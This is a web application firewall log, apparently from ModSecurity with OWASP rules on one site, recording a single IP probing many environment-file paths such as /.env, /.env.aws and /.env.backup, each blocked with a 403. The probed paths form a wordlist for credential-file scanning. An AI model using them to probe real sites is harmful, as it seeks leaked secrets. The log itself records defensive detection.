[Sat Oct 24 08:10:37.734654 2026] [security2:error] [pid 2627273:tid 2627273] [client 34.52.133.111:44936] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPRdOhHN-18IxgZKqnwAAAAY"]
[Sat Oct 24 08:10:37.742534 2026] [security2:error] [pid 2609012:tid 2609012] [client 34.52.133.111:44916] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.docker/.env"] [unique_id "atygPXUcfBNBYE9xHAJA7gAAAAA"]
[Sat Oct 24 08:10:37.742656 2026] [security2:error] [pid 2609012:tid 2609012] [client 34.52.133.111:44916] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.docker/.env"] [unique_id "atygPXUcfBNBYE9xHAJA7gAAAAA"]
[Sat Oct 24 08:10:37.743429 2026] [security2:error] [pid 2609012:tid 2609012] [client 34.52.133.111:44916] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPXUcfBNBYE9xHAJA7gAAAAA"]
[Sat Oct 24 08:10:37.807473 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.52.133.111:44954] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/laravel/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.docker/laravel/app/.env"] [unique_id "atygPQ6rpxYYtVdDcXCoRwAAABg"]
[Sat Oct 24 08:10:37.807730 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.52.133.111:44954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.docker/laravel/app/.env"] [unique_id "atygPQ6rpxYYtVdDcXCoRwAAABg"]
[Sat Oct 24 08:10:37.808535 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.52.133.111:44954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPQ6rpxYYtVdDcXCoRwAAABg"]
[Sat Oct 24 08:10:37.809182 2026] [security2:error] [pid 2627309:tid 2627309] [client 34.52.133.111:44964] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "atygPV0Yuvqa3nuKpvNCFgAAAAk"]
[Sat Oct 24 08:10:37.809322 2026] [security2:error] [pid 2627309:tid 2627309] [client 34.52.133.111:44964] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "atygPV0Yuvqa3nuKpvNCFgAAAAk"]
[Sat Oct 24 08:10:37.810073 2026] [security2:error] [pid 2627309:tid 2627309] [client 34.52.133.111:44964] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPV0Yuvqa3nuKpvNCFgAAAAk"]
[Sat Oct 24 08:10:37.812974 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.52.133.111:44952] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env-sample"] [unique_id "atygPVGNStwISql-V9e96QAAAAs"]
[Sat Oct 24 08:10:37.813101 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.52.133.111:44952] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env-sample"] [unique_id "atygPVGNStwISql-V9e96QAAAAs"]
[Sat Oct 24 08:10:37.813455 2026] [security2:error] [pid 2627311:tid 2627311] [client 34.52.133.111:44926] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.aws"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.aws"] [unique_id "atygPUWIGyA7zCtes8CKQQAAAAw"]
[Sat Oct 24 08:10:37.813599 2026] [security2:error] [pid 2627311:tid 2627311] [client 34.52.133.111:44926] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.aws"] [unique_id "atygPUWIGyA7zCtes8CKQQAAAAw"]
[Sat Oct 24 08:10:37.813791 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.52.133.111:44952] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPVGNStwISql-V9e96QAAAAs"]
[Sat Oct 24 08:10:37.814330 2026] [security2:error] [pid 2627311:tid 2627311] [client 34.52.133.111:44926] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPUWIGyA7zCtes8CKQQAAAAw"]
[Sat Oct 24 08:10:37.814892 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.52.133.111:44920] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env-example"] [unique_id "atygPYY2rJh4KkI7ZZhj1AAAAAM"]
[Sat Oct 24 08:10:37.815084 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.52.133.111:44920] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env-example"] [unique_id "atygPYY2rJh4KkI7ZZhj1AAAAAM"]
[Sat Oct 24 08:10:37.815979 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.52.133.111:44920] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPYY2rJh4KkI7ZZhj1AAAAAM"]
[Sat Oct 24 08:10:37.818656 2026] [security2:error] [pid 2609012:tid 2609012] [client 34.52.133.111:44916] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.backup"] [unique_id "atygPXUcfBNBYE9xHAJA7wAAAAA"]
[Sat Oct 24 08:10:37.818812 2026] [security2:error] [pid 2609012:tid 2609012] [client 34.52.133.111:44916] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.backup"] [unique_id "atygPXUcfBNBYE9xHAJA7wAAAAA"]
[Sat Oct 24 08:10:37.819542 2026] [security2:error] [pid 2609012:tid 2609012] [client 34.52.133.111:44916] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPXUcfBNBYE9xHAJA7wAAAAA"]
[Sat Oct 24 08:10:37.883656 2026] [security2:error] [pid 2625330:tid 2625330] [client 34.52.133.111:44942] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.bak"] [unique_id "atygPfMnT_rHlxLKOWDm_AAAAAc"]
[Sat Oct 24 08:10:37.883767 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.52.133.111:44954] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.dev"] [unique_id "atygPQ6rpxYYtVdDcXCoSAAAABg"]
[Sat Oct 24 08:10:37.883866 2026] [security2:error] [pid 2625330:tid 2625330] [client 34.52.133.111:44942] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.bak"] [unique_id "atygPfMnT_rHlxLKOWDm_AAAAAc"]
[Sat Oct 24 08:10:37.883961 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.52.133.111:44954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.dev"] [unique_id "atygPQ6rpxYYtVdDcXCoSAAAABg"]
[Sat Oct 24 08:10:37.884678 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.52.133.111:44954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPQ6rpxYYtVdDcXCoSAAAABg"]
[Sat Oct 24 08:10:37.884684 2026] [security2:error] [pid 2625330:tid 2625330] [client 34.52.133.111:44942] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPfMnT_rHlxLKOWDm_AAAAAc"]
[Sat Oct 24 08:10:37.885687 2026] [security2:error] [pid 2627309:tid 2627309] [client 34.52.133.111:44964] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.development"] [unique_id "atygPV0Yuvqa3nuKpvNCFwAAAAk"]
[Sat Oct 24 08:10:37.885844 2026] [security2:error] [pid 2627309:tid 2627309] [client 34.52.133.111:44964] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.development"] [unique_id "atygPV0Yuvqa3nuKpvNCFwAAAAk"]
[Sat Oct 24 08:10:37.886529 2026] [security2:error] [pid 2627309:tid 2627309] [client 34.52.133.111:44964] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPV0Yuvqa3nuKpvNCFwAAAAk"]
[Sat Oct 24 08:10:37.888129 2026] [security2:error] [pid 2627273:tid 2627273] [client 34.52.133.111:44936] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.dist"] [unique_id "atygPRdOhHN-18IxgZKqoQAAAAY"]
[Sat Oct 24 08:10:37.888292 2026] [security2:error] [pid 2627273:tid 2627273] [client 34.52.133.111:44936] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.dist"] [unique_id "atygPRdOhHN-18IxgZKqoQAAAAY"]
[Sat Oct 24 08:10:37.889042 2026] [security2:error] [pid 2627311:tid 2627311] [client 34.52.133.111:44926] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.docker"] [unique_id "atygPUWIGyA7zCtes8CKQgAAAAw"]
[Sat Oct 24 08:10:37.889147 2026] [security2:error] [pid 2627273:tid 2627273] [client 34.52.133.111:44936] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPRdOhHN-18IxgZKqoQAAAAY"]
[Sat Oct 24 08:10:37.889171 2026] [security2:error] [pid 2627311:tid 2627311] [client 34.52.133.111:44926] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.docker"] [unique_id "atygPUWIGyA7zCtes8CKQgAAAAw"]
[Sat Oct 24 08:10:37.889833 2026] [security2:error] [pid 2627311:tid 2627311] [client 34.52.133.111:44926] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPUWIGyA7zCtes8CKQgAAAAw"]
[Sat Oct 24 08:10:37.890210 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.52.133.111:44952] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.example"] [unique_id "atygPVGNStwISql-V9e96gAAAAs"]
[Sat Oct 24 08:10:37.890340 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.52.133.111:44952] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.example"] [unique_id "atygPVGNStwISql-V9e96gAAAAs"]
[Sat Oct 24 08:10:37.891011 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.52.133.111:44920] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.live"] [unique_id "atygPYY2rJh4KkI7ZZhj1QAAAAM"]
